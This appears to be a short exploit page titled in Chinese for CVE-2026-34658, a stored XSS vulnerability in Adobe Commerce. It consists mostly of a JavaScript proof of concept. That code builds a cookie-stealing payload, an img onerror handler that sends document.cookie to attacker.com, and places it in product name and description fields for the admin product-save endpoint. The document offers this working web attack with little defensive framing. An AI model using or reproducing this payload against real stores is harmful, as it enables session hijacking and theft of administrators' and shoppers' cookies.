CVE-2026-34658 Adobe Commerce存储型XSS漏洞

// Proof of Concept for Stored XSS in Adobe Commerce // Attack vector: Injecting payload into a vulnerable product field (e.g., Name or Description) function exploit() { // The malicious payload to be stored // This script captures the document cookie and sends it to an attacker-controlled server var payload = '<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>'; // Simulate a POST request to the product update endpoint // Note: Actual endpoint URL and parameters depend on the specific vulnerable version var formData = { 'product[name]': payload, 'product[description]': 'Malicious Product', 'form_key': 'FORM_KEY_HERE' // Administrator's form key is required for authentication }; // In a real scenario, the attacker uses the high-privileged session to submit this data console.log("Sending payload to backend:", formData); // fetch('/admin/catalog/product/save/id/1', { method: 'POST', body: formData }); } // Trigger the exploit function exploit();